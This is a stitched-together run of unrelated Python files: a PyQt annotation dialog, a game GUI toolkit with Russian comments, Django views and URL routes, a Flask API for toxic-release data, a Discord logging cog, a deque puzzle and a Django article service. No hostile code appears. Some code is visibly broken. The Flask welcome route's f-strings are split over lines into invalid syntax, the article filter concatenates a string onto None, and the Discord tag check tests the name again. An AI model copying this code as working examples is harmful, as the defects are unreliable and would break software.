        self.label.point_processing = (self.label.point_processing + 1) % 4
        self.label.repaint()

    def close_without_saving(self):
        self.close()

    def close_with_saving(self):
        self.annotation_finish = True

        finetuned_points = []
        for ratio in self.label.ratios:
            h = self.label.cv_image.shape[0]
            w = self.label.cv_image.shape[1]
            new_point = (ratio[0] * w, ratio[1] * h)
            finetuned_points.append(new_point)

        restored_points = []
        for point in finetuned_points:
            restored_point = (point[0] + self.lx, point[1] + self.ty)
            restored_points.append(restored_point)

        self.finetune_results = restored_points
        self.content = self.content_text_frame.text()
        self.close()

    # def keyPressEvent(self, e):
    #     k = e.key()
    #     if k == QtCore.Qt.Key_Enter:
    #         print('enter')
    #         self.btn_confirm.click()
    #     elif k == QtCore.Qt.Key_Escape or k == QtCore.Qt.Key_Delete:
    #         print('cancel')
    #         self.btn_cancel.click()

class CheckBoxWarning(QDialog):
    def __init__(self, window_geometry):
        super(CheckBoxWarning, self).__init__()
        self.setWindowTitle('Warning')

        self.button = QPushButton('I know', self)
        self.button.setGeometry(75, 70, 50, 20)
        self.button.clicked.connect(self.close)

        self.text = QLineEdit('Initial image will be lost!', self)
        self.text.setGeometry(10, 30, 180, 20)
        self.text.setStyleSheet("background:transparent;border-width:0;border-style:outset")

        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint)
        self.setFixedSize(200, 100)
        self.move(window_geometry.x() + (window_geometry.width() / 2) - 100,
                  window_geometry.y() + (window_geometry.height() / 2) - 50)

class OutputWarning(QDialog):
    def __init__(self, window_geometry):
        super(OutputWarning, self).__init__()
        self.setWindowTitle('Warning')

        self.button = QPushButton('OK', self)
        self.button.setGeometry(75, 70, 50, 20)
        self.button.clicked.connect(self.close)

        self.text = QLineEdit('Output path must be provided!', self)
        self.text.setGeometry(10, 30, 180, 20)
        self.text.setStyleSheet("background:transparent;border-width:0;border-style:outset")

        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint)
        self.setFixedSize(200, 100)
        self.move(window_geometry.x() + (window_geometry.width() / 2) - 100,
                  window_geometry.y() + (window_geometry.height() / 2) - 50)

class DeleteWarning(QDialog):
    def __init__(self, window_geometry):
        super(DeleteWarning, self).__init__()
        self.setWindowTitle('Warning')

        self.button = QPushButton('OK', self)
        self.button.setGeometry(75, 70, 50, 20)
        self.button.clicked.connect(self.close)

        self.text = QLineEdit('Image has been deleted!', self)
        self.text.setGeometry(10, 30, 180, 20)
        self.text.setStyleSheet("background:transparent;border-width:0;border-style:outset")

        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint)
        self.setFixedSize(200, 100)
        self.move(window_geometry.x() + (window_geometry.width() / 2) - 100,
                  window_geometry.y() + (window_geometry.height() / 2) - 50)

if __name__ == '__main__':
    app = QtWidgets.QApplication(sys.argv)
    window = MainWindow()
    window.show()
    sys.exit(app.exec_())


#!/usr/bin/env python
# -*- coding: cp1251 -*-

"""
Project: Master Chef
Элементы ГУИ: кнопка, слайдер и т.п.
"""

import scraft
from scraft import engine as oE
from configconst import *
from constants import *
from guiconst import *
import config
import globalvars
import string

RefStates = { ButtonState_Up: ButtonState_Up, ButtonState_Roll: ButtonState_Roll,
             ButtonState_Down: ButtonState_Down, ButtonState_Inert: ButtonState_Up,
             ButtonState_Selected: ButtonState_Up }

#--------------------------------
# Кнопка с текстом
# Состоит из dummy-4-hit-area,
# кнопки и текстового спрайта (опционально - без текста)
#--------------------------------

class PushButton(scraft.Dispatcher):
    def __init__(self, name, whose, cmd, when, newKlass, frames,
                 newLayer, newX, newY, newXSize, newYSize,
                 text = "", klasses = [], textDX = 0, textDY = 0, sound = "gui.click"):

        #dummy используется как hit area
        self.Dummy = MakeDummySprite(self, cmd, newX, newY, newXSize, newYSize, newLayer)

        #спрайт кнопки
        self.ButtonSprite = oE.NewSprite_(newKlass, newLayer)
        self.ButtonSprite.sublayer = 1
        self.ButtonSprite.hotspot = scraft.HotspotCenter
        self.ButtonSprite.x, self.ButtonSprite.y = newX, newY
        #текст на кнопке
        if klasses == []:
            self.HasText = False
        else:
            self.HasText = True
            self.TextSprite = MakeTextSprite(klasses[ButtonState_Up], newLayer,
                                        newX + textDX, newY + textDY,
                                        scraft.HotspotCenter, text)
            self.TextSprite.sublayer = 0

        self.ButtonFrames = frames
        self.TextKlasses = klasses
        self.ActiveWhen = when
        self.Whose = whose
        self.Sound = sound
        self.SetState(ButtonState_Up)

    def MoveTo(self, newX, newY):
        self.Dummy.x, self.Dummy.y = newX, newY
        self.ButtonSprite.x, self.ButtonSprite.y = newX, newY
        if self.HasText:
            self.TextSprite.x, self.TextSprite.y = newX, newY

    def SetButtonKlass(self, newKlass):
        self.ButtonSprite.ChangeKlassTo(newKlass)
        self.ButtonSprite.hotspot = scraft.HotspotCenter

    def SetSound(self, sound = "gui.click"):
        self.Sound = sound

    def Show(self, flag):
        self.Dummy.visible = flag
        self.ButtonSprite.visible = flag
        if self.HasText:
            self.TextSprite.visible = flag

    def SetText(self, newText):
        self.TextSprite.text = newText

    def SetState(self, state):
        self.State = state
        self.ButtonSprite.frno = self.ButtonFrames[state]
        if self.HasText:
            self.TextSprite.ChangeKlassTo(self.TextKlasses[state])
            self.TextSprite.hotspot = scraft.HotspotCenter
        #if self.ButtonSprite.mouseOver:
        #    globalvars.BlackBoard.Update(BBTag_Cursor, {"button": RefStates[state]})
        globalvars.BlackBoard.Update(BBTag_Cursor, {"button": RefStates[state]})

    def _OnMouseOver(self, sprite, flag):
        if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
            if flag and globalvars.StateStack[-1] == self.ActiveWhen:
                #if globalvars.LastCookie == sprite.cookie:
                #    self.SetState(ButtonState_Down)
                #else:
                    self.SetState(ButtonState_Roll)
            else:
                self.SetState(ButtonState_Up)

    def _OnMouseDown(self, sprite, x, y, button):
        if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
            if button == 1 and globalvars.StateStack[-1] == self.ActiveWhen:
                globalvars.LastCookie = sprite.cookie
                self.SetState(ButtonState_Down)

    def _OnMouseUp(self, sprite, x, y, button):
        if button == 1 and globalvars.StateStack[-1] == self.ActiveWhen:
            if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
                self.SetState(ButtonState_Roll)
                if globalvars.LastCookie == sprite.cookie and globalvars.StateStack[-1] == self.ActiveWhen:
                    globalvars.Musician.PlaySound(self.Sound)
                    self.Whose.SendCommand(sprite.cookie)
            globalvars.LastCookie = Cmd_None

    #def _OnMouseClick(self, sprite, x, y, button):
    #    if globalvars.StateStack[-1] == self.ActiveWhen and button == 1:
    #        if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
    #            globalvars.Musician.PlaySound("gui.click")
    #            self.Whose.SendCommand(sprite.cookie)

    def Kill(self):
        self.Dummy.Dispose()
        self.ButtonSprite.Dispose()
        if self.HasText:
            self.TextSprite.Dispose()

#--------------------------------
# Регулятор-слайдер
# Состоит из dummy-4-hit-area,
# фонового рисунка и бегунка
#--------------------------------

class Slider(scraft.Dispatcher):
    def __init__(self, name, whom, paramName, when, newKlass, frames,
                 newLayer, newX, newY, newXSize, newYSize,
                 newXRange, newYRange, bgKlass = ""):
        #dummy используется как hit area
        self.Dummy = MakeDummySprite(self, Cmd_SliderDummy, newX, newY,
                                     newXSize, newYSize, newLayer, 2)

        #фоновый спрайт
        if bgKlass != "":
            self.BgSprite = oE.NewSprite_(bgKlass, newLayer)
            self.BgSprite.sublayer = 1
            self.BgSprite.hotspot = scraft.HotspotCenter
            self.BgSprite.x, self.BgSprite.y = newX, newY
            self.HasBg = True
        else:
            self.HasBg = False

        #спрайт бегунка
        self.SliderSprite = oE.NewSprite_(newKlass, newLayer)
        self.SliderSprite.sublayer = 0
        self.SliderSprite.hotspot = scraft.HotspotCenter
        self.SliderSprite.x, self.SliderSprite.y = newX, newY
        self.SliderSprite.cookie = Cmd_Slider
        self.SliderSprite.dispatcher = self

        self.XRange = newXRange
        self.YRange = newYRange
        self.SliderFrames = frames
        self.ActiveWhen = when
        self.Whom = whom
        self.Param = paramName
        self.SetState(ButtonState_Up)
        self.Dragging = False
        self.QueNo = oE.executor.Schedule(self)

    def Show(self, flag):
        self.Dummy.visible = flag
        self.SliderSprite.visible = flag
        if self.HasBg:
            self.BgSprite.visible = flag

    def SetState(self, state):
        self.State = state
        self.SliderSprite.frno = self.SliderFrames[state]
        if self.SliderSprite.mouseOver:
            globalvars.BlackBoard.Update(BBTag_Cursor, {"button": RefStates[state]})

    def SetValue(self, value):
        self.SliderSprite.x = self.XRange[0] + int(value*(self.XRange[1] - self.XRange[0])/100)
        self.SliderSprite.y = self.YRange[0] + int(value*(self.YRange[1] - self.YRange[0])/100)

    def _OnMouseOver(self, sprite, flag):
        if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
            if flag:
                if sprite.cookie == Cmd_Slider:
                    if not self.Dragging:
                        self.SetState(ButtonState_Roll)
            elif not flag:
                if sprite.cookie == Cmd_Slider:
                    if not self.Dragging:
                        self.SetState(ButtonState_Up)
                elif sprite.cookie == Cmd_SliderDummy:
                    if oE.mouseX not in range(self.XRange[0]-15, self.XRange[1]+15) \
                        or oE.mouseY not in range(self.YRange[0]-15, self.YRange[1]+15):
                        self.SetState(ButtonState_Up)
                        self.Dragging = False

    def _OnMouseDown(self, sprite, x, y, button):
        if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
            if button == 1 and sprite.cookie == Cmd_Slider:
                globalvars.LastCookie = sprite.cookie
                self.SetState(ButtonState_Down)
                self.Dragging = True

    def _OnMouseUp(self, sprite, x, y, button):
        if button == 1:
            self.Dragging = False
            globalvars.LastCookie = Cmd_None
            if self.State in (ButtonState_Up, ButtonState_Roll, ButtonState_Down):
                if sprite.cookie == Cmd_Slider:
                    self.SetState(ButtonState_Roll)
                else:
                    self.SetState(ButtonState_Up)

    def _OnExecute(self, que):
        if self.Dragging:
            self.SliderSprite.x = Nearest(oE.mouseX, self.XRange)
            self.SliderSprite.y = Nearest(oE.mouseY, self.YRange)
            if self.XRange[0] == self.XRange[1]:
                tmpValue = int((self.SliderSprite.y - self.YRange[0])*100/(self.YRange[1] - self.YRange[0]))
            else:
                tmpValue = int((self.SliderSprite.x - self.XRange[0])*100/(self.XRange[1] - self.XRange[0]))
            self.Whom.SetIntAttr(self.Param, tmpValue)
            config.ApplyOptions()
        return scraft.CommandStateRepeat

#--------------------------------
# Текстовая область заданного размера
# с автоматическим переносом строк
#--------------------------------

class TextArea:
    def __init__(self, font, layer, x0=0, y0=0, width=1, height=1):
        self.TextSprite = MakeSimpleSprite(font, layer, x0, y0, scraft.HotspotLeftTop)
        self.Width, self.Height = width, height

    def SetText(self, str):
        tmpStr = MakeSprite(self.TextSprite.klass, Layer_Tmp)
        self.TextSprite.text = ""
        tmpStrings = string.split(str)
        for tmp in tmpStrings:
            tmpStr.text = string.lstrip(self.TextSprite.text+" "+tmp)
            if tmpStr.width <= self.Width:
                self.TextSprite.text = string.lstrip(self.TextSprite.text+" "+tmp)
            else:
                self.TextSprite.text = string.lstrip(self.TextSprite.text+"\n"+tmp)

    def SetParams(self, params = {}):
        if params.has_key("klass"):
            self.TextSprite.ChangeKlassTo(params["klass"])
        if params.has_key("x") and params.has_key("y"):
            self.TextSprite.x, self.TextSprite.y = params["x"], params["y"]
        if params.has_key("xy"):
            self.TextSprite.x, self.TextSprite.y = params["xy"]
        if params.has_key("width") and params.has_key("height"):
            self.Width, self.Height = params["width"], params["height"]
        if params.has_key("area"):
            self.Width, self.Height = params["area"]
        if params.has_key("hotspot"):
            self.TextSprite.hotspot = params["hotspot"]
        if params.has_key("cfilt-color"):
            self.TextSprite.cfilt.color = params["cfilt-color"]

    def Show(self, flag):
        self.TextSprite.visible = flag

#--------------------------------
# Прочие функции
#--------------------------------
def MakeButton(whose, cmd, newKlass, newLayer, newX, newY,
               frUp, frRl, frDn, frIn = -1, frSl = -1):
    tmpButton = oE.NewSprite_(newKlass, newLayer)
    tmpButton.x = newX
    tmpButton.y = newY
    tmpButton.cookie = cmd
    tmpButton.SetItem(Frame_Up, frUp)
    tmpButton.SetItem(Frame_Rl, frRl)
    tmpButton.SetItem(Frame_Dn, frDn)
    tmpButton.SetItem(Frame_In, frIn)
    tmpButton.SetItem(Frame_Sl, frSl)
    tmpButton.visible = True
    tmpButton.dispatcher = whose
    tmpButton.frno = frUp
    return tmpButton

def MakeTextSprite(newKlass, newLayer, newX, newY,
                   newHotspot = scraft.HotspotCenter, newText = ""):
    tmpSpr = oE.NewSprite_(newKlass, newLayer)
    tmpSpr.x = newX
    tmpSpr.y = newY
    tmpSpr.hotspot = newHotspot
    tmpSpr.text = newText
    return tmpSpr

def MakeSimpleSprite(newKlass, newLayer, newX = FieldMaxX/2, newY = FieldMaxY/2,
                     newHotspot = scraft.HotspotCenter, newFrno = 0):
    tmpSpr = oE.NewSprite_(newKlass, newLayer)
    tmpSpr.x = newX
    tmpSpr.y = newY
    tmpSpr.hotspot = newHotspot
    tmpSpr.frno = newFrno
    return tmpSpr

def MakeDummySprite(whose, cmd, newX, newY, newXSize, newYSize, newLayer,
                    newSubLayer = 0, newHotspot = scraft.HotspotCenter, newName = ""):
    tmpSpr = oE.NewDummy(newName)
    tmpSpr.layer = newLayer
    tmpSpr.sublayer = newSubLayer
    tmpSpr.hotspot = newHotspot
    tmpSpr.x, tmpSpr.y = newX, newY
    tmpSpr.xSize, tmpSpr.ySize = newXSize, newYSize
    tmpSpr.cookie = cmd
    tmpSpr.dispatcher = whose
    return tmpSpr

# Создает спрайт по словарю параметров
# klass и layer - обязательные параметры
def MakeSprite(newKlass, newLayer, param = {}):
    tmpSpr = oE.NewSprite_(newKlass, newLayer)
    if param.has_key("x") and param.has_key("y"):
        tmpSpr.x = param["x"]
        tmpSpr.y = param["y"]
    elif param.has_key("xy"):
        tmpSpr.x, tmpSpr.y = param["xy"]
    if param.has_key("text"):
        tmpSpr.text = param["text"]
    if param.has_key("frno"):
        tmpSpr.frno = param["frno"]
    if param.has_key("hotspot"):
        tmpSpr.hotspot = param["hotspot"]
    if param.has_key("sublayer"):
        tmpSpr.sublayer = param["sublayer"]
    if param.has_key("cfilt-color"):
        tmpSpr.cfilt.color = param["cfilt-color"]
    if param.has_key("cookie"):
        tmpSpr.cookie = param["cookie"]
    if param.has_key("dispatcher"):
        tmpSpr.dispatcher = param["dispatcher"]
    if param.has_key("parent"):
        tmpSpr.parent = param["parent"]
    if param.has_key("transparency"):
        tmpSpr.transparency = param["transparency"]
    if param.has_key("scale"):
        tmpSpr.xScale, tmpSpr.yScale = param["scale"], param["scale"]
    return tmpSpr

def ApplyTextLayout(sprite, layout):
    if layout.HasAttr("textFont"):
        sprite.ChangeKlassTo(layout.GetStrAttr("textFont"))
    if layout.HasAttr("textXY"):
        sprite.x, sprite.y = eval(layout.GetStrAttr("textXY"))
    if layout.HasAttr("textColor"):
        sprite.cfilt.color = eval(layout.GetStrAttr("textColor"))
    if layout.HasAttr("hotspot"):
        sprite.hotspot = eval(layout.GetStrAttr("hotspot"))

def Nearest(x, range):
    return min(max(x, range[0]), range[1])


from django.shortcuts import render
from django.views.generic import TemplateView, ListView
# Create your views here.

class PruebaUsuario(TemplateView):

    template_name = 'usuarios/prueba.html'

class ListarUsuarios(ListView):
    template_name = "usuarios/lista-usuarios.html"
    context_object_name = 'ListaUsuarios'
    queryset = ['Maria rodriguez', 'Carlos Paredes']


"""getit URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/4.0/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from getit_api import views as user_side
from django.contrib import admin
from django.urls import path

urlpatterns = [
    path('search',user_side.Search.as_view()),
    path('Signup',user_side.Sign_up.as_view()),
    path('Login',user_side.Login.as_view()),
    path('Logout',user_side.Logout.as_view()),
    path('HomePage',user_side.HomePage.as_view()),
    path('Product/<str:keyword>',user_side.Product_Handling.as_view()),
    path('Product',user_side.Product_Handling.as_view()),
    path('howtouse',user_side.HowToUse.as_view()),
    path('live',user_side.Live.as_view()),
    path('settings',user_side.settings.as_view()),

]


# IMPORT DEPENDENCIES
import numpy as np

import sqlalchemy
from sqlalchemy.ext.automap import automap_base
from sqlalchemy.orm import Session
from sqlalchemy import create_engine, func

from flask import Flask, jsonify

#CREATE ENGINE
engine = create_engine("sqlite:///tri_database.sqlite")

Base = automap_base()

Base.prepare(autoload_with=engine)

# TABLE REFERENCES
Chemicals = Base.classes.chemicals
Industry = Base.classes.industry
Tribes = Base.classes.tribes
Tri_data = Base.classes.tri_data

#################################################
# Flask Setup
#################################################
app = Flask(__name__)

# START PAGE
@app.route("/")
def welcome():
    """LISTS ALL AVAILABLE API ROUTES"""
    return(
        f"
Available Routes:

"
        f"
"
        f"This route contains the locations of all toxic releases in 2021 (FOR MAP):
"
        f"
/api/location
"
        f"
"
        f"This route contains the values of all toxic releases in 2021:
"
        f"
/api/values
"
        f"
"
        f"This route contains a list of the chemical names:
"
        f"
/api/chemicals
"
        f"
"
        f"This route contains a list of the industry names:
"
        f"
/api/industries
"
        f"
"
        f"This route contains a list of all the toxic releases on occuring on tribal lands:
"
        f"
/api/tribes
"
        #f"
"
        #f"This route contains all toxic releases in 2021:
"
        #f"
/api/all
"
    )

# LOCATION DATA - TOO LARGE FOR ALL, HAD TO SPLIT IT UP
@app.route("/api/location", methods=["GET"])
def location():
    session = Session(engine)

    results = session.query(Tri_data.DOCUMENT_NUMBER, Tri_data.FACILITY_NAME, Tri_data.PARENT_COMPANY_NAME, Tri_data.LATITUDE, Tri_data.LONGITUDE, Tri_data.FEDERAL_FACILITY, Tri_data.CARCINOGEN, Tri_data.ON_SITE_RELEASE_TOTAL, Tri_data.INDUSTRY_SECTOR_CODE).all()

    session.close()

    location_list = []
    for DOCUMENT_NUMBER, FACILITY_NAME, PARENT_COMPANY_NAME, LATITUDE, LONGITUDE, FEDERAL_FACILITY, CARCINOGEN, ON_SITE_RELEASE_TOTAL, INDUSTRY_SECTOR_CODE in results:
        location_dict = {}
        location_dict["DocumentNumber"] = DOCUMENT_NUMBER
        location_dict["FacilityName"] = FACILITY_NAME
        location_dict["ParentCompanyName"] = PARENT_COMPANY_NAME
        location_dict["Latitude"] = LATITUDE
        location_dict["Longitude"] = LONGITUDE
        location_dict["FederalFacility"] = FEDERAL_FACILITY
        location_dict["Carcinogen"] = CARCINOGEN
        location_dict["On_SiteReleaseTotal"] = ON_SITE_RELEASE_TOTAL
        location_dict["IndustrySectorCode"] = INDUSTRY_SECTOR_CODE
        location_list.append(location_dict)

    # REFERENCED https://stackoverflow.com/questions/25860304/how-do-i-set-response-headers-in-flask
    response = jsonify(location_list)
    response.headers["Access-Control-Allow-Origin"] = "*"
    return response

# VALUES (2ND HALF OF LOCATION DATA)
@app.route("/api/values")
def values():
    session = Session(engine)

    results = session.query(Tri_data.DOCUMENT_NUMBER, Tri_data.REGION, Tri_data.TRIBAL_LAND, Tri_data.INDUSTRY_SECTOR_CODE, Tri_data.SRS_ID, Tri_data.METAL_CATEGORY, Tri_data.CARCINOGEN, Tri_data.ON_SITE_RELEASE_TOTAL, Tri_data.OFF_SITE_RELEASE_TOTAL, Tri_data.OFF_SITE_RECYCLED_TOTAL, Tri_data.ONE_TIME_RELEASE).all()

    session.close()

    tridata_list = []
    for DOCUMENT_NUMBER, REGION, TRIBAL_LAND, INDUSTRY_SECTOR_CODE, SRS_ID, METAL_CATEGORY, CARCINOGEN, ON_SITE_RELEASE_TOTAL, OFF_TOTAL_RELEASE_TOTAL, OFF_SITE_RECYCLED_TOTAL, ONE_TIME_RELEASE in results:
        tridata_dict = {}
        tridata_dict["DocumentNumber"] = DOCUMENT_NUMBER
        tridata_dict["Region"] = REGION
        tridata_dict["TribalLand"] = TRIBAL_LAND
        tridata_dict["IndustrySectorCode"] = INDUSTRY_SECTOR_CODE
        tridata_dict["SRSID"] = SRS_ID
        tridata_dict["MetalCategory"] = METAL_CATEGORY
        tridata_dict["Carcinogen"] = CARCINOGEN
        tridata_dict["On_SiteReleaseTotal"] = ON_SITE_RELEASE_TOTAL
        tridata_dict["Off_SiteReleaseTotal"] = OFF_TOTAL_RELEASE_TOTAL
        tridata_dict["Off_SiteRecycledTotal"] = OFF_SITE_RECYCLED_TOTAL
        tridata_dict["OneTimeRelease"] = ONE_TIME_RELEASE
        tridata_list.append(tridata_dict)

    response = jsonify(tridata_list)
    response.headers["Access-Control-Allow-Origin"] = "*"
    return response

# UNIQUE LIST OF CHEMICALS
@app.route("/api/chemicals")
def chemicals():
    session = Session(engine)

    results = session.query(Chemicals.SRS_ID, Chemicals.CHEMICAL).all()

    session.close()

    chemical_list = []
    for SRS_ID, CHEMICAL in results:
        chemical_dict = {}
        chemical_dict["SRS_ID"] = SRS_ID
        chemical_dict["ChemicalName"] = CHEMICAL
        chemical_list.append(chemical_dict)

    response = jsonify(chemical_list)
    response.headers["Access-Control-Allow-Origin"] = "*"
    return response

# UNIQUE LIST OF INDUSTRIES
@app.route("/api/industries")
def industries():
    session = Session(engine)

    results = session.query(Industry.INDUSTRY_SECTOR_CODE, Industry.INDUSTRY_SECTOR).all()

    session.close()

    industry_list = []
    for INDUSTRY_SECTOR_CODE, INDUSTRY_SECTOR in results:
        industry_dict = {}
        industry_dict["IndustrySectorCode"] = INDUSTRY_SECTOR_CODE
        industry_dict["IndustrySector"] = INDUSTRY_SECTOR
        industry_list.append(industry_dict)

    response = jsonify(industry_list)
    response.headers["Access-Control-Allow-Origin"] = "*"
    return response

# LIST OF ALL DOCUMENT NUMBERS ON TRIBAL LANDS
@app.route("/api/tribes")
def tribes():
    session = Session(engine)

    results = session.query(Tribes.DOCUMENT_NUMBER, Tribes.TRIBAL_LAND).all()

    session.close()

    tribal_list = []
    for DOCUMENT_NUMBER, TRIBAL_LAND in results:
        tribal_dict = {}
        tribal_dict["DocumentNumber"] = DOCUMENT_NUMBER
        tribal_dict["TribalLand"] = TRIBAL_LAND
        tribal_list.append(tribal_dict)

    response = jsonify(tribal_list)
    response.headers["Access-Control-Allow-Origin"] = "*"
    return response

#@app.route("/api/all", methods=["GET"])
#def all():
#    session = Session(engine)

#    results = session.query(Tri_data.DOCUMENT_NUMBER, Tri_data.FACILITY_NAME, Tri_data.PARENT_COMPANY_NAME, Tri_data.LATITUDE, Tri_data.LONGITUDE, Tri_data.FEDERAL_FACILITY, Tri_data.CARCINOGEN, Tri_data.ON_SITE_RELEASE_TOTAL, Tri_data.INDUSTRY_SECTOR_CODE, Tri_data.REGION, Tri_data.STATE, Tri_data.SRS_ID, Tri_data.METAL_CATEGORY, Tri_data.OFF_SITE_RELEASE_TOTAL, Tri_data.OFF_SITE_RECYCLED_TOTAL, Tri_data.ONE_TIME_RELEASE, Tri_data.TRIBAL_LAND, Industry.INDUSTRY_SECTOR, Chemicals.CHEMICAL).all()

#    session.close()

#    all_list = []
#    for DOCUMENT_NUMBER, FACILITY_NAME, PARENT_COMPANY_NAME, LATITUDE, LONGITUDE, FEDERAL_FACILITY, CARCINOGEN, ON_SITE_RELEASE_TOTAL, INDUSTRY_SECTOR_CODE, REGION, STATE, TRIBAL_LAND, SRS_ID, METAL_CATEGORY, OFF_SITE_RECYCLED_TOTAL, OFF_SITE_RELEASE_TOTAL, ONE_TIME_RELEASE, INDUSTRY_SECTOR, CHEMICAL in results:
#        all_dict = {}
#        all_dict["Document number"] = DOCUMENT_NUMBER
#        all_dict["Facility Name"] = FACILITY_NAME
#        all_dict["Parent Company Name"] = PARENT_COMPANY_NAME
#        all_dict["Latitude"] = LATITUDE
#        all_dict["Longitude"] = LONGITUDE
#        all_dict["Federal Facility"] = FEDERAL_FACILITY
#        all_dict["Carcinogen"] = CARCINOGEN
#        all_dict["On-site Release Total"] = ON_SITE_RELEASE_TOTAL
#        all_dict["Industry Sector Code"] = INDUSTRY_SECTOR_CODE
#        all_dict["Region"] = REGION
#        all_dict["State"] = STATE
#        all_dict["Tribal Land"] = TRIBAL_LAND
#        all_dict["SRS ID"] = SRS_ID
#        all_dict["Metal Category"] = METAL_CATEGORY
#        all_dict["Off-site Release Total"] = OFF_SITE_RELEASE_TOTAL
#        all_dict["Off-site Recycled Total"] = OFF_SITE_RECYCLED_TOTAL
#        all_dict["One-time Release"] = ONE_TIME_RELEASE
#        all_dict["Industry Sector"] = INDUSTRY_SECTOR
#        all_dict["Chemical Name"] = CHEMICAL
#        all_list.append(all_dict)
#    response = jsonify(all_list)
#    response.headers["Access-Control-Allow-Origin"] = "*"
#    return response

if __name__ == '__main__':
    app.run(debug=True)


from datetime import datetime

from discord import Embed
from discord.ext.commands import Cog
from discord.ext.commands import command

class Log(Cog):
    def __init__(self, bot):
        self.bot = bot

    @Cog.listener()
    async def on_user_update(self, before, after):
        if before.name != after.name:
                embed = Embed(title="Actualización de nombre",
                              colour=after.colour,
                              timestamp=datetime.utcnow())

                fields = [("Antes", before.name, False),
                          ("Despues", after.name, False)]

                for name, value, inline in fields:
                    embed.add_field(name=name, value=value, inline=inline)

                await self.log_channel.send(embed=embed)

        if before.name != after.name:
                embed = Embed(title="Actualización de Tag",
                              colour=after.colour,
                              timestamp=datetime.utcnow())

                fields = [("Antes", before.discriminator, False),
                          ("Despues", after.discriminator, False)]

                for name, value, inline in fields:
                    embed.add_field(name=name, value=value, inline=inline)

                await self.log_channel.send(embed=embed)

        if before.avatar_url != after.avatar_url:
            embed = Embed(title="Actualización Miembro",
                          description="Avatar cambiado (La imagen de abajo es la nueva, la antigua la de la derecha).",
                          colour=self.log_channel.guild.get_member(after.id).colour,
                          timestamp=datetime.utcnow())

            embed.set_thumbnail(url=before.avatar_url)
            embed.set_image(url=after.avatar_url)

            await self.log_channel.send(embed=embed)

    @Cog.listener()
    async def on_member_update(self, before, after):
        if before.display_name != after.display_name:
            embed = Embed(title="Actualización Miembro",
                          description="Nickname cambiado",
                          colour=after.colour,
                          timestamp=datetime.utcnow())

            fields = [("Antes", before.display_name, False),
                      ("Despues", after.display_name, False)]

            for name, value, inline in fields:
                embed.add_field(name=name, value=value, inline=inline)

            await self.log_channel.send(embed=embed)

        elif before.roles != after.roles:
            embed = Embed(title="Actualización Miembro",
                          description=f"Actualización de roles de {after.display_name}",
                          colour=after.colour,
                          timestamp=datetime.utcnow())

            fields = [("Antes", ", ".join([r.mention for r in before.roles[:1]]), False),
                      ("Despues", ", ".join([r.mention for r in after.roles[:1]]), False)]

            for name, value, inline in fields:
                embed.add_field(name=name, value=value, inline=inline)

            await self.log_channel.send(embed=embed)

    @Cog.listener()
    async def on_message_edit(self, before, after):
        if not after.author.bot:
            if before.content != after.content:
                embed = Embed(title="Edición de mensaje.",
                              description=f"Editado por {after.author.display_name}",
                              colour=after.author.colour,
                              timestamp=datetime.utcnow())

                fields = [("Antes", before.content, False),
                          ("Despues", after.content, False)]

                for name, value, inline in fields:
                    embed.add_field(name=name, value=value, inline=inline)

                await self.log_channel.send(embed=embed)

    @Cog.listener()
    async def on_message_delete(self, message):
        if not message.author.bot:
            embed = Embed(title="Mensaje borrado.",
                          description=f"mensaje borrado por {message.author.display_name}",
                          colour=message.author.colour,
                          timestamp=datetime.utcnow())

            fields = [("Contenido", message.content, False)]

            for name, value, inline in fields:
                embed.add_field(name=name, value=value, inline=inline)

            await self.log_channel.send(embed=embed)

    @Cog.listener()
    async def on_ready(self):
	       if not self.bot.ready:
                  self.log_channel = self.bot.get_channel(764255491680632842)
                  self.bot.cogs_ready.ready_up("log")

def setup(bot):
    bot.add_cog(Log(bot))


from collections import deque
N=int(input())
l=[]
for i in range(1,N+1):
  l.append(i)
dq=deque(l)
while len(dq)!=1:
  dq.popleft()
  a=dq.popleft()
  dq.append(a)
print(dq[0])


from datetime import datetime

from django.core.paginator import Paginator
from django.db.models import Q
from django.shortcuts import get_object_or_404

from articles.models import Article, Category
from articles.forms import ArticleForm

DEFAULT_SHOWN = 10
SEARCH_RESULTS = 20
DATE_ORDER = {
    'date': '',
    '-date': '-'
}

class ListArticles(object):

    @staticmethod
    def filter(request, article_objects):
        date_order = request.GET.get('order') if request.GET.get('order') and request.GET.get('order') in DATE_ORDER else '-date'
        search = request.GET.get('search', '').strip()
        page = request.GET.get('page')
        shown = request.GET.get('shown', DEFAULT_SHOWN)
        query_params = None
        query_params = query_params + '&shown={0}'.format(shown) if shown != DEFAULT_SHOWN else ''
        query_params = query_params + '&search={0}'.format(search) if search != '' else ''
        query_params = query_params + '&order={0}'.format(date_order) if date_order != '' else ''

        article_list = article_objects.select_related('author').all()\
            .filter(publication_date__lte=datetime.now(), state__exact='PB')\
            .order_by(DATE_ORDER[date_order] + 'publication_date')

        article_list = article_list.filter(Q(title__icontains=search) | Q(introduction__icontains=search) | Q(body__icontains=search))\
            .all()[:SEARCH_RESULTS] if search else article_list

        paginator = Paginator(article_list, shown)

        articles = paginator.get_page(page)

        context = {
            'article_list': articles,
            'query_params': query_params,
            'page_title': 'Latest articles',
            'search': search,
        }

        return context

class CreateArticle(object):

    @staticmethod
    def create_new_article(user, values, slug):
        article = Article()
        article.author = user
        article.response_to = get_object_or_404(Article, slug=slug)
        form = ArticleForm(values, instance=article)
        if form.is_valid():
            form.save()
            categories_selected = form.cleaned_data['categories']
            categories = []
            for category_selected in categories_selected:
                obj = Category.objects.get(id=category_selected.id)
                categories.append(obj)
            article.categories.add(*categories)
            form.save()
            return None
        else:
            return form


import numpy as np
import scipy as sp
import pandas as pd
import string
